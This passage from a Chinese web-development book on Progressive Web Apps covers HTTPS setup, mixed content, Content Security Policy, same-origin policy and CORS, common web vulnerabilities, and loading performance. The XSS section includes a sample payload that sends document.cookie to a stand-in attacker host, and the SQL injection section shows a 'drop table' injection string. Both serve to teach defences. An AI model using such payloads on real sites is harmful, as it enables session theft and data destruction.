ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS'; ssl_prefer_server_ciphers on; # HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months) add_header Strict-Transport-Security max-age=15768000; # OCSP Stapling --- # fetch OCSP records from URL in ssl_certificate and cache them ssl_stapling on; ssl_stapling_verify on; ## verify chain of trust of OCSP response using Root CA and Intermediate certs ssl_trusted_certificate /path/to/root_CA_cert_plus_intermediates; resolver ; .... } 3.重定向配置 接下来我们需要将 HTTP 的访问请求 301 到 HTTPS server { listen 80; server_name domain.com www.domain.com; return 301 https://domain.com$request_uri; } 4.修改资源链接 将站点所有的 HTTP 资源地址替换成 HTTPS，一个比较好的方法是直接将协议头替换成 //，这样浏览器会自动根据当前页面的协议加载相同协议头的资源，更为灵活。例如： 改为 如果修改不完全，HTTPS 资源和 HTTP 资源混合出现，即页面包含混合内容，浏览器将警告用户已失去 HTTPS 的全部能力（直观的看，地址栏 HTTPS 的标识将处于失效状态）。事实上，如果是主动混合内容（脚本、插件、CSS、iframe），则浏览器通常根本不会加载或执行此内容，从而导致页面残缺。 5.可以进一步保证安全：设置 Cookie 安全标记 如果用户的身份验证 Cookie 在明文中暴露，则整个会话的安全保障将被破坏，因此，应该确保浏览器只在使用 HTTPS 时，才发送 Cookie。 在网站响应头里面，Set-Cookie 字段加上 Secure 标志即可。 Set-Cookie: LSID=DQAAAK...Eaem_vYg; Secure 完成以上设置，重启服务器，HTTPS 就生效了。迁移成为 HTTPS 后，也不必过分担心额外的性能开销问题。HTTPS 和 HTTP 相比，在 TCP 三次握手的基础上，多了一个 SSL 握手的过程，主要是通信和加密有一定的时间损耗。而在页面内容和应用层性能优化得当的情况下，同时应用安全又得到了保障，总体的收益一定是积极和正向的。 避免 HTTPS 站点出现混合内容 前面升级 HTTPS 的过程中，需要将资源的协议头进行替换，我们提到了混合内容的概念。混合内容（Mixed Content）顾名思义：初始 HTML 内容通过安全的 HTTPS 连接加载，但其他资源（例如，图像、视频、样式表、脚本）则通过不安全的 HTTP 连接加载，即在同一个页面同时混合加载了 HTTP 和 HTTPS 资源。 混合图片内容，Chrome 给出警告： 对于混合脚本，Chrome 会阻止加载： 混合内容的存在会降低整个页面的安全性，因为这些请求容易受到 XSS，中间人等各种攻击。用户看到这些 Warning 的时候，如果存在威胁，很有可能已经被攻击。所以开发者有义务将资源替换成 HTTPS，减少安全风险。 考虑到这些威胁的存在，浏览器理应阻止所有混合内容的加载，但这会造成众多站点不可用。所以，当前大部分浏览器的策略是阻止最危险的混合内容类型（如 JavaScript 脚本），同时仍允许请求不太危险的混合内容类型（如图片等多媒体资源）。现代浏览器遵循混合内容规范，定义了可选择性地阻止的内容和可阻止的内容类别。 根据此规范，当前可选择性阻止的内容中仅包括图像、视频和音频资源以及预获取这些资源的链接等。随着时间的推移，此类别可能会缩小。可选择性阻止的内容以外的所有内容被视为可阻止的内容，将被浏览器阻止。 值得注意的是，不同浏览器供应商的不同版本的浏览器处理混合内容的方式不尽相同。所以对于开发者来说，修复 HTTPS 站点中的混合内容十分重要。 处理 HTTPS 站点中的混合内容 HTTPS 站点中的混合内容数量不多时，我们可以根据浏览器的 Warning 或 Error 提示，手动修改源码即可。如果想批量处理不安全的混合内容，则可以借助 CSP（Content Security Policy）即内容安全策略，下面简单介绍它在这种场景的使用，下一节我们将详细了解相关内容。 使用 CSP 查找混合内容 给网站设置响应头： Content-Security-Policy-Report-Only: default-src https: 'unsafe-inline' 'unsafe-eval'; report-uri https://example.com/reportingEndpoint 这样用户访问站点时，浏览器都会向 https://example.com/reportingEndpoint 发送请求，告诉你哪些内容不规范。 自动升级不安全的请求 可以使用 CSP 的 upgrade-insecure-requests 配置项，浏览器在请求 http 资源时，会自动升级请求对应的 HTTPS 资源。 如，配置请求头 Content-Security-Policy: upgrade-insecure-requests 或，使用meta标签 都能使浏览器将 的请求转化成 https://example.com/image.jpg。但注意，这时需要保证升级后的资源地址可用，不然就会请求失败。 阻止所有混合内容 对于不支持 upgrade-insecure-requests 属性的浏览器，还可以通过 CSP 的 block-all-mixed-content 属性来屏蔽所有的混合内容，有两种使用方式： 配置请求头 Content-Security-Policy: block-all-mixed-content 或，使用meta标签 这个属性将导致所有不安全的混合内容被浏览器阻止，很明显，它存在\\\"误杀\\\"的风险，慎重使用。 验证 HTTPS 借助 Chrome DevTools，我们可以方便地查看一个站点的 HTTPS 安全性，实现两个功能： 验证当前站点的 HTTPS 安全状况 查看连接和证书详情，找出具体的非 HTTPS 资源列表。 打开 Chrome DevTools 的 Security 面板，在 Overview 下面，可以看到站点整体的安全情况，如证书是否合法，连接是否安全，站点资源是否是 HTTPS 等，如下图所示。 可以点击 View certificate 查看站点的服务器证书信息。 不是 HTTPS 的站点会通过 This page is not secure 进行提示。如果一个 HTTPS 站点中包含了 HTTP 的资源，也就是我们提到的混合内容，站点仍会被标记为不安全。 我们可以点击 View request in Network Panel 来查看混合内容列表详情，作出对应的修改。 通过以上的步骤，我们就能很快发现站点中潜在的非 HTTPS 安全性问题，消除隐患。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter07/2-CSP.html\":{\"url\":\"chapter07/2-CSP.html\",\"title\":\"7.2 内容安全策略\",\"keywords\":\"\",\"body\":\"内容安全策略 CSP（Content Security Policy）即内容安全策略，主要目标是减少、并有效报告 XSS 攻击，其实质就是让开发者定制一份白名单，告诉浏览器允许加载、执行的外部资源。即使攻击者能够发现可从中注入脚本的漏洞，由于脚本不在白名单之列，浏览器也不会执行该脚本，从而降低客户端遭受 XSS 攻击风险。 默认配置下，CSP 甚至不允许执行内联代码 ( 块内容，内联事件，内联样式)，以及禁止执行eval(), setTimeout 和 setInterval。为什么要这么做呢？因为制定来源白名单依旧无法解决 XSS 攻击的最大威胁：内联脚本注入。浏览器无法区分合法内联脚本与恶意注入的脚本，所以通过默认禁止内联脚本来有效解决这个问题。事实上我们并不推荐使用内联脚本混合的开发方式，使用外部资源，浏览器更容易缓存，对开发者也容易阅读理解，并且有助于编译和压缩。当然，如果不得不需要内联脚本和样式，可以通过设置 unsafe-inline，来解除这一限制。 CSP 提供了一系列的属性配置，从而实现精确地控制浏览器的资源加载行为。开发者只需要将特定的属性，组合成一条有效的安全策略字符串 policy，然后指定 Content-Security-Policy 头部即可使用，如： Content-Security-Policy: policy caniuse 提供了目前浏览器对 CSP 的支持情况，对于不支持 CSP 的浏览器以及未提供 CSP 头部的站点，将默认为网页内容使用标准的浏览器同源策略。 启用 CSP 有两种方法配置并启用 CSP 1.设置 HTTP 头的 Content-Security-Policy 字段（旧版 X-Content-Security-Policy） Content-Security-Policy: script-src 'self'; object-src 'none';style-src cdn.example.org third-party.org; child-src https://other.com 2.设置页面的 标签 这两种不同的方式制定了同一个 CSP 策略，该策略对资源的加载进行了一些限制，设置了 script-src: 'self'，只信任当前域名下的脚本，同时使用 object-src: 'none'，不允许加载任何插件资源（如object, embed, applet 等标签引入的 flash 等插件），再使用 style-src 属性限制样式文件只能来自 cdn.example.org 和 third-party.org，此外还用 child-src 限定 iframe 的来源必须是 https://other.com。 除了上述例子使用的属性之外，CSP 提供了很多可配置的选项来针对不同资源的加载进行限制，常见的有， child-src：限制 iframe 及 worker 线程的来源，替代已弃用的 frame-src connect-src：限制 XHR、WebSockets 和 EventSource 连接的来源 font-src：指定字体文件的来源 img-src：限定图像来源 media-src：限定媒体文件（音频和视频）的来源 object-src：插件（比如 Flash）来源 report-uri：用于指定在违反策略时浏览器发送报告的地址。此指令不能用于 标记。 script-src：限定脚本的来源 style-src：样式表 manifest-src：manifest 文件 每个配置项的源列表是一个字符串，指定了一个或多个主机（使用域名或 IP 地址）、协议和端口号。站点地址和端口号都可以使用通配符前缀 * 来表明所有合法端口都是有效来源。我们可以举几个例子来说明： http://*.example.com 匹配所有使用 http 协议加载 example.com 的子域名。 mail.example.com:443 匹配所有访问 mail.example.com 的 443 端口的源。 https://store.example.com 匹配 store.example.com 下所有使用 HTTPS 协议的资源。 注意，如果端口号没有被指定，浏览器会使用指定协议的默认端口号。如果协议没有被指定，浏览器会使用访问该文档时的协议。除此之外，还有一些关键字的选项： 关键字 'self'：当前域名，需要加引号 关键字 'none'：禁止加载任何外部资源，需要加引号 如果不为某条配置设置具体的值，则默认情况下，该配置在运行时认为你指定 * 作为有效来源（例如，你可以从任意位置加载字体，没有任何限制）。也可以设置 default-src 的值，来代替各个选项的默认值。例如，如果我们将 default-src 设为 https://example.com，并且没有指定 font-src 的值，那么站点将只允许加载来自 https://example.com 的字体。不过也有一些选项不使用 default-src 作为默认回退值，也就是说，不进行设置的话就会加载任何内容。比如： base-uri form-action frame-ancestors plugin-types report-uri sandbox 这里对 CSP 的属性内容作了比较全面的介绍：https://www.w3.org/TR/CSP/，值得一提的是，使用 CSP 时需要考虑到兼容性问题，兼容性的情况可参阅：https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP#浏览器兼容性。 发送报告 默认情况下，违背 CSP 策略的站点并不会发送报告。我们可以指定 report-uri 属性，并提供至少一个 URI 地址去递交报告： Content-Security-Policy: default-src 'self'; report-uri https://yourwebsite.com/csp/report 报告请求将以 POST 的形式发送，包含的 JSON 格式数据有以下字段： document-uri：发生违规的文档的 URI。 referrer：违规发生处的文档引用（地址）。 blocked-uri：被 CSP 阻止的资源 URI。如果被阻止的 URI 来自不同的源而非文档 URI，那么被阻止的资源 URI 会被删减，仅保留协议，主机和端口号。 violated-directive：违反的策略名称。 original-policy：在 Content-Security-Policy HTTP 头部中指明的原始策略。 值得注意的是，report-uri 不能在 meta 中设置，需要在请求头中指定才会生效。此外，如果我们只想对当前网站做一个测试，仅发送不符合 CSP 策略的报告，而不强制执行限制，可以设置 Content-Security-Policy-Report-Only 请求头代替 Content-Security-Policy，如下： Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri https://yourwebsite.com/csp/report; Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter07/3-policy.html\":{\"url\":\"chapter07/3-policy.html\",\"title\":\"7.3 同源策略\",\"keywords\":\"\",\"body\":\"同源策略 上一节介绍 CSP 时，我们提到了浏览器的同源策略，同源策略是 Web 安全的基础，它对从一个源加载的资源如何与来自另一个源的资源进行交互做出了限制。这是一个用于隔离潜在恶意文件的关键安全机制，每个源均与其他网络保持隔离，从而为开发者提供一个可进行构建和操作的安全沙盒。 如果没有同源策略，Web 世界就变得非常不安全，拿浏览器中的 cookie 来说，当你登录 A 网站，同时打开 B 网站，B 网站能获取你 A 网站的 cookie，盗取你的身份凭证进行非法操作。 同源策略只是一个规范，虽然并没有指定其具体的使用范围和实现方式，但各个浏览器厂商都针对同源策略做了自己的实现。 同源的定义 如果两个页面的协议（protocol），端口（port）和主机（host）都是相同的，则两个页面具有相同的源。 例如，相对于 http://www.example.com/dir/page.html 同源情况如下 地址 结果 http://www.example.com/dir2/other.html 同源 http://v2.www.example.com/dir/other.html 不同源（主机不同） https://www.example.com/dir/other.html 不同源（协议不同） http://www.example.com:81/dir/other.html 不同源（端口不同） 限制范围 同源策略限制了不同源之间的交互，主要分成三类： 通常允许跨域写操作。如链接、重定向和表单提交。 通常允许特定的跨域资源嵌入。如 script、img 标签等。 通常不允许跨域读操作。但常可以通过内嵌资源来巧妙的进行读取访问。 不受同源策略限制，可以通过跨域资源嵌入的方式访问的资源常见的有： 标签嵌入跨域脚本 标签嵌入CSS ，， 标签嵌入图片、视频、音频资源 , 和 标签嵌入插件 @font-face 引入的字体。一些浏览器允许跨域字体（ cross-origin fonts），一些需要同源字体（same-origin fonts）。 和 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。 非同源的网站，常见的主要有以下几种行为受到限制： 无法共享 Cookie, LocalStorage, IndexedDB 无法操作彼此的 DOM 元素 无法发送 Ajax 请求 跨域访问 同源策略做了很严格的限制，但在实际的场景中，又确实有很多地方需要突破同源策略的限制，也就是我们常说的跨域。实现跨域通信的解决方案有多种，我们可以简单的介绍几种方式。 更改源 页面可以更改自己的源，但会受到一些限制。比如，可以使用 document.domain 来设置子域的 domain 值，允许其安全访问其父域。例如： 可以在 http://child.company.com/dir/a.html中执行： document.domain = 'company.com' 页面将与 http://company.com/dir/b.html 处于相同的域。但是，试图给 company.com 设置 document.domain 为 anotherCompany.com 是不可行的，因为它不是 company.com 的父域。值得注意的是，浏览器的端口号是单独保存的，在给 document.domain 赋值时，如果不指明端口号，默认会以 null 值覆盖掉原来的端口号。因此 company.com:8080 不能仅通过设置 document.domain = \\\"company.com\\\" 来与 company.com 通信。必须在他们双方中都进行赋值，以确保端口号都为 null。 所以这种方法是有很大限制条件的，document.domain 这个值只能修改为这个页面的当前域或者当前域的超级域。所以，这个方法只能解决同一超级域下的页面跨域问题。 CORS CORS（Cross-Origin Resource Sharing）是 W3C 提出的一个用于服务端控制数据跨域传输的一个机制。它的原理是给 HTTP 头增加特定的值，让服务端来定义允许来自哪些源的请求。这是一种最为常见的处理跨域 Ajax 请求的方式。 举例来说，当我们试图在 example.com 的页面向 anotherexample.com 的接口发起 Ajax 请求时： let xhr = new XMLHttpRequest() let url = 'http://anotherexample.com/some/api/' xhr.open('GET', url, true) xhr.onreadystatechange = handler xhr.send() 在 anotherexample.com 的服务端没有进行任何设置的情况下，这个请求会因为跨域而失败。CORS 允许我们在请求头中设置 Access-Control-Allow-Origin，来控制允许哪些源的请求。我们可以用如下方式，设置允许所有的源。 Access-Control-Allow-Origin: * 当然也可以直接设置成允许的域的名称，或者配合 Origin 请求头使用。 JSONP JSONP 是 JSON with Padding 的简称，它的本质是利用内嵌的 资源不受同源政策影响，将接口需要返回的数据用指定名称的函数包裹起来进行传递，从而实现跨域接口请求。其基本原理可以简单描述如下： 客户端通过 script 标签发起跨域请求 服务端接收 callback 参数，将数据用 callback 名称包裹返回，形如： myFunction({ foo: 'bar' }) 客户端定义了 myFunction 函数，就会执行并拿到数据了： let mycallback = function (data){ alert(data.foo) } 实际使用的时候，不需要我们来实现这些繁琐的步骤，常见的第三方工具库如 JQuery，axios 等，都进行了封装，只需按照指定格式调用即可。需要注意，这种跨域方式需要后端的配合，因为后端的接口需要根据约定的参数获取回调函数名，然后跟返回数据进行拼接，最后进行响应。 window.postMessage postMessage 是 HTML5 的一个接口，它主要用于跨域文档（如不同源的 iframe）间的通讯，它可以把纯文本消息从一个域发送到另外一个域，不受同源策略的限制。如，在 example.com 页面下试图向 iframe 中的 otherexample.com 发送消息： let targetWindow = document.getElementsByTagName('iframe')[0] targetWindow.postMessage('Hello World!', 'http://otherexample.com') 在 otherexample.com 中监听 message 事件，进行处理： window.addEventListener('message', e => { let message = e.data }) 这种方式的适用场景有限，不能解决所有的跨域问题，且需要考虑浏览器的兼容性后再进行使用。 浏览器的同源策略是保证 Web 安全的重要法则，后续章节提到的客户端脚本攻击都与这一法则紧密相关，因此理解同源策略对我们构建安全可靠的 PWA 应用意义重大。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter07/4-vulnerability.html\":{\"url\":\"chapter07/4-vulnerability.html\",\"title\":\"7.4 典型的安全漏洞\",\"keywords\":\"\",\"body\":\"常见的安全漏洞 在构建 PWA 站点的过程中，我们会面临很多的安全风险和漏洞，如 XSS，CSRF，SQL 注入漏洞，ClickJacking，文件上传漏洞 等等。在本小节中，我们列举几种客户端常见的安全漏洞，了解一下其原理和防范方法。 跨站脚本（XSS） XSS (Cross Site Scripting) 即跨站脚本攻击。为了和层叠样式表（Cascading Style Sheets，CSS）区分开，跨站脚本在安全领域叫做 XSS。攻击者往 Web 页面里注入恶意代码，当用户浏览这些网页时，就会执行其中的恶意代码，可对用户进行盗取 Cookie 信息、会话劫持、改变网页内容、恶意跳转等各种攻击。由于 XSS 漏洞易于出现且利用成本低，所以曾被 OWASP （一个关注 Web 应用程序安全的非营利性组织）列为当前的头号 Web 安全威胁。 我们举一个简单的例子说明它的原理，在 a.com 的搜索输入框中输入如下内容，并提交请求： location.href=http://www.bad.com/?cookie=document.cookie 如果前端没有进行过滤，提交搜索框表单后，浏览器地址可能变为： http://www.a.com/?query=location.href=http://www.bad.com/?cookie=document.cookie 此时，script 标签中的代码被执行了！用户的 Cookie 信息已经被发送到攻击者的服务器，攻击者便能利用收集的 Cookie 信息来伪造用户身份，进行多种恶意非法操作。这个例子是 XSS 漏洞的一种类型：反射性 XSS。根据效果不不同，XSS 攻击类型一般分为三种： 反射型 XSS 反射型 XSS 只是简单的把用户输入的数据“反射”给浏览器，XSS 脚本出现在 URL 请求参数里，也就是说需要诱使用户点击一个恶意链接，才能攻击成功。反射型 XSS 也叫作非持久型 XSS。 储存型 XSS 存储型 XSS 也被称为持久型 XSS，当攻击者输入一段恶意脚本后，被服务端接受保存，当用户访问这个页面时，恶意脚本就会被执行，从而造成漏洞。 DOM Based XSS 基于 DOM 的 XSS，通过对具体 DOM 代码进行分析，根据实际情况构造 DOM 节点进行 XSS 跨站脚本攻击，HTML 页面中使用 document.write 和 innerHTML 等方法，容易造成 DOM 节点中存在该类型的 XSS 漏洞。 防范 XSS 对于 XSS 攻击，我们可以做如下防范： 输入过滤 永远不要相信用户的输入，对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式，比如日期格式，Email 格式，电话号码格式等等。同时，后台服务器需要在接收到用户输入的数据后，对特殊危险字符如 ，> 等进行过滤或者转义处理，然后再存储到数据库中。 输出编码 服务器端输出到浏览器的数据，可以使用系统的安全函数来进行编码或转义来防范 XSS 攻击。输出 HTML 属性时可以使用 HTML 转义编码（HTMLEncode）进行处理，将 &，，>，\\\"，' 等进行转义之后再输出到页面代码中。 HttpOnly Cookie 这是预防 XSS 攻击窃取用户 Cookie 最有效的防御手段。Web 应用程序在设置 Cookie 时，将其属性设为 HttpOnly，客户端脚本将无法获取 Cookie 的值，这样能有效就避免该网页的 Cookie 被客户端恶意 JavaScript 窃取，保护用户 Cookie 信息安全。 跨站请求伪造（CSRF） CSRF (Cross Site Request Forgery)，即跨站请求伪造，是一种极易被开发者忽略的安全漏洞。简单的理解是，攻击者盗用了用户的身份，以用户的名义发送恶意请求。CSRF 能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账等，造成个人隐私泄露，财产损失。 举个例子，受害者用户登录网站 A，输入个人信息，在本地保存服务器生成的 Cookie。攻击者构建一条恶意链接，例如对受害者在网站 A 的信息及状态进行操作，典型的例子就是转账。受害者打开了攻击者构建的网页 B，浏览器发出该恶意连接的请求，浏览器发起会话的过程中携带了本地保存的 Cookie，A 网站收到 Cookie，以为是受害者发出的操作，导致受害者的身份被盗用，完成攻击者恶意的目的。如下图所示： 防范 CSRF 对于 CSRF 攻击，我们可以做如下防范： 验证码 这是一种比较简单有效的方法，它强制用户必须与应用进行交互才能完成最终的请求。特别是账户交易这种核心步骤，强制用户输入验证码，才能完成转账。在通常情况下，验证码够很好地遏制 CSRF 攻击。但增加验证码降低了用户的体验，网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段，在关键业务点设置验证码。 Referer Check HTTP Referer 是 header 的一部分，当浏览器向 Web 服务器发送请求时，一般会带上 referer 信息告诉服务器是从哪个页面链接过来的，服务器以此可以获得一些信息用于处理。可以通过检查请求的来源来防御 CSRF 攻击。正常请求的 referer 具有一定规律，如在提交表单的 referer 必定是在该页面发起的请求。所以通过检查 http 包头 referer 的值是不是这个页面，来判断是不是 CSRF 攻击。 Anti CSRF Token 目前比较完善的解决方案是加入 Anti CSRF Token，即发送请求时在 HTTP 请求中加入一个随机产生的 token，保证其不可预测性，让攻击者无法猜测重要请求所需的参数。实际应用中，我们可以把 token 隐藏在表单中，服务器验证提交的 token 是否与 session 或 Cookie 中的值一致，来判断该请求是否合法。如果不合法，直接拒绝该请求。 归根到底，防范这种类型的威胁，需要我们在构建 PWA 应用时始终保持安全意识，对于任何敏感操作都要进行身份的确认，涉及到用户敏感信息的 Cookie 数据，需要进行生命周期和读取权限的严格限制，有关更多 CSRF 的防范方法，可以查看 OWASP 总结的文档：https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet 。 SQL 注入漏洞 注入攻击是 Web 安全领域的一种常见威胁，其本质就是把用户输入的数据当做代码来执行。前面提到的 XSS 其实也是一种针对 HTML 的注入，SQL 注入就是把非法的 SQL 命令通过 Web 表单等方式提交，在服务端后台执行，实现篡改数据库等恶意行为。 我们可以用一个简单的例子说明这种安全漏洞。现在有一条根据用户 uid 查询用户信息的 SQL 语句： SELECT * FROM UserTable WHERE ID = uid; 其中，变量 uid 的值来自用户提交的请求，在正常情况下，用户输入 123，SQL 语句会执行： SELECT * FROM UserTable WHERE ID = 123; 查询了用户表中 ID 为 123 的用户的所有字段信息。但假如前后端整个系统中，没有任何的安全处理，有攻击者恶意输入了如下语句： 123; drop table UserTable; 那么 SQL 语句在执行时的结果就是： SELECT * FROM UserTable WHERE ID = 123; drop table UserTable; 危险出现了！原来正常的查询语句，因为接收了非法的用户输入，变成了极其危险的删除表的操作，数据库安全受到了极大的威胁。 从上面简单示意我们不难想象，SQL 注入的危害极大，不仅会引发数据库中用户隐私信息的泄露，还能篡改数据库的数据，甚至攻击远程数据库服务器，安装后门，造成不可计量的损失。那么我们该如何防御这种安全威胁呢？ 在实际开发中，SQL 注入的防御并不是几句话能说清楚的事情，但我们可以从以下几个方面层层改进，让注入的风险降到最低。 1.永远不要信赖用户的输入。对输入的数据进行校验，过滤可能引发注入漏洞的字符，并检查输入的数据类型，如 id 必须为 Interger，输入邮箱严格按照邮箱的格式，日期也必须有特定格式等等，最大程度对抗恶意攻击。 2.使用预编译的参数化查询语句，不要拼接 SQL 语句。也可以使用安全的存储过程，先将 SQL 语句定义在数据库中。 3.严格管理数据库权限，不要使用管理员权限连接数据库。遵循最小权限原则，对不同应用的数据库连接权限进行严格控制。 4.重要信息加密存储。 SQL 注入的防范，需要记住永远将数据和代码分离的原则。只要我们设计并实施了合理的安全防御方案，这种危险完全可以避免。 上文只是简单列举了几种常见的攻击技术，实际情况中我们的应用受到的威胁远不止这些。总的来说，Web 安全是一个范围宽广又需要我们持续深入研究的重要话题，我们在构建 PWA 应用时，也要时刻从威胁防范的角度进行考虑，保障应用的稳定性和安全性。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter08.html\":{\"url\":\"chapter08.html\",\"title\":\"第8章 性能\",\"keywords\":\"\",\"body\":\"性能 我们在 第一章 什么是 PWA 中提到，PWA 应该快速加载、及时响应用户反馈、提供流畅的动画、以及拥有类似 Native App 一般沉浸的用户体验。这每一点都表明，优秀的 PWA 对性能有很高的要求。 本章将主要讨论 Web 应用的性能，将从页面加载性能和渲染性能两个方面，详细介绍 Web 应用性能优化原理和手段。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter08/1-loading-performance.html\":{\"url\":\"chapter08/1-loading-performance.html\",\"title\":\"8.1 加载性能 \",\"keywords\":\"\",\"body\":\"加载性能 Web 页面由 HTML、CSS、JavaScript 和其他多媒体资源组成。页面加载时，必须从服务器获取这些资源。在这一节中，我们会围绕这些资源和网络请求，讨论如何优化页面加载性能。 减小资源体积 为了让页面更快加载，最容易想到的是减小资源体积。页面中最常见的资源有 HTML、CSS、JavaScript 等文本资源，以及字体、图像、音视频等多媒体资源。 压缩文本内容 压缩文本资源，就是在不改变资源有效性的情况下，通过删除多余空格、变量名替换、表达式改写等操作，来尽可能减小文本资源的体积。 压缩虽然简单，但十分有效，这也是最广泛的优化资源体积的操作。许多工具可以帮助我们完成文本压缩。目前主流的资源打包工具 webpack，生态较为繁荣，通过 loader 和 plugin 机制集成了多种常用的资源处理库。如 TerserPlugin 可以用于压缩 JavaScript，PostCSS 可以对 CSS 进行压缩，以及完成前缀自动补全工作。关于 webpack 的更多介绍，详见下文 使用 webpack 优化资源加载。 除了压缩单个文件外，在服务器上配置 Gzip 也十分重要。Gzip 对文本资源的压缩效果非常明显，通常可以将体积再压缩至原本的 30% 左右，但 Gzip 对已经单独压缩的图像等非文本资源来说，效果并不好。Apache、Nginx 等服务器都提供了 Gzip 功能，可以分别在配置文件 .htaccess、nginx.conf 中进行相应的配置。开启 Gzip 后，资源文件的 HTTP 响应头部中， Content-Encoding 也会变为 gzip。 优化 JavaScript 第三方库引入 在现代 Web 单页应用中，JavaScript 往往成为了最重要的文本资源。除了用于页面渲染的 JavaScript 框架外，还有许多工具库被广泛引用，如 lodash、underscore，甚至 jquery 等。 不计后果地引入第三方库，会迅速增大 JavaScript 资源的体积。如果我们只需要使用工具库中少数几个简单函数，可以考虑使用原生 JavaScript 代替。 实际上，由于现代前端框架大幅普及，以及浏览器兼容性问题日益减少，我们对 jQuery 的依赖已经不像过去那样强了。在《You Don't Need jQuery》（https://github.com/nefe/You-Dont-Need-jQuery）一文中，就详细地描述了如何使用原生 JavaScript 代替 jQuery。 同时，随着 ES6 及后续标准的持续改进，原生 JavaScript 能力被大大增强了。我们可以从《You don't (may not) need Lodash/Underscore》（https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore）一文中，了解到如何使用现代 JavaScript 实现常用的工具函数。 不过，在实际项目中，lodash 等工具库往往十分有用。lodash 不仅包含了许多常用的函数，而且每个函数都有相当丰富的单元测试，代码质量很高。需要注意的是，我们在引入 lodash 时，应该仅引入所需的函数，而不是将整个库全部引入进来。类似的，如 moment 等一些较为庞大的第三方库，也需要在引入时进行体积优化。具体的实践详见下文 使用 webpack 优化资源加载。 对资源进行缓存 除了对资源文本大小进行优化外，还可以从缓存的角度进行考虑。缓存无处不在，往往能大幅加快响应速度，从而在优化页面加载性能的工作中有举足轻重的作用。在上文中已经介绍过 Cache Storage 和 IndexedDB 等缓存技术，这一节主要关注 HTTP 缓存。 HTTP 缓存 现代浏览器都实现了 HTTP 缓存机制。浏览器在初次获取资源后，会根据 HTTP 响应头部的 Cache-Control 和 ETag 字段，来决定该资源的缓存策略。 Cache-Control 有多个可能的字段值： no-store：表明任何缓存不得存储该资源，每次请求都会从服务端返回完整的内容。 no-cache：表明必须向服务端发一次请求，该请求头部带有 If-None-Match 等资源校验信息。服务端将会验证该资源是否被修改过，详细见下文 ETag 的描述。 public：表明该资源可以被 CDN 或代理等中间人缓存。 private：与 public 相反，表明任何中间人不得缓存该资源，资源可能与隐私信息相关。 max-age：指定了资源缓存的过期时间（秒），仅当缓存过期后才会向服务端发送请求。 ETag 是由服务端决定的一个资源校验字段。如果浏览器缓存已经过期，那么会向服务端询问该资源是否被修改过。服务端会将 HTTP 请求头部的 If-None-Match 与 ETag 进行比对。如果相等，则表明资源并没有被修改过，服务端返回 304 Not Modified，浏览器可以直接从缓存获取资源，并刷新缓存过期时间。否则就需要返回该资源的完整内容。 为了达到最佳缓存效果，常用的做法是： 对于 HTML 文件，设置 Cache-Control: no-cache。 对于 CSS 和 JavaScript 等静态资源，上线构建的时候在文件名中插入一段仅与文件内容相关的哈希值，并使用 Cache-Control: max-age=31536000 进行长缓存。 这样的效果是，对于绝大多数静态资源的请求都可以使用缓存来响应，并且仅在文件内容变更时刷新缓存。具体的实践详见下文 使用 webpack 优化资源加载。 调整资源优先级 页面加载时，浏览器会对各种类型的资源分配默认优先级。一般来说，CSS 会被分配最高优先级，JavaScript 会被分配高优先级，而图像则被分配了低优先级，等等。虽然并不能真正修改这些优先级，但我们仍能通过预加载、懒加载等多种方式，调整资源加载的行为，优化网页加载性能。 预加载 是一种通用的预加载方式，支持几乎所有常用资源类型。我们可以在 中，通过 来提前声明当前页面所需的资源，以便浏览器能预加载这些资源。一个实际的预加载例子如下： 上述例子中，预加载了 CSS、JavaScript、图像和字体文件。 as 属性表明了资源的类型，从而浏览器才会为后续的 、 和 CSS 文件中的 url() 声明使用预加载的资源，而不是再发起一次请求。另外，还可以通过 media 属性进行媒体查询，根据响应式的情况选择性地预加载资源。 预连接与 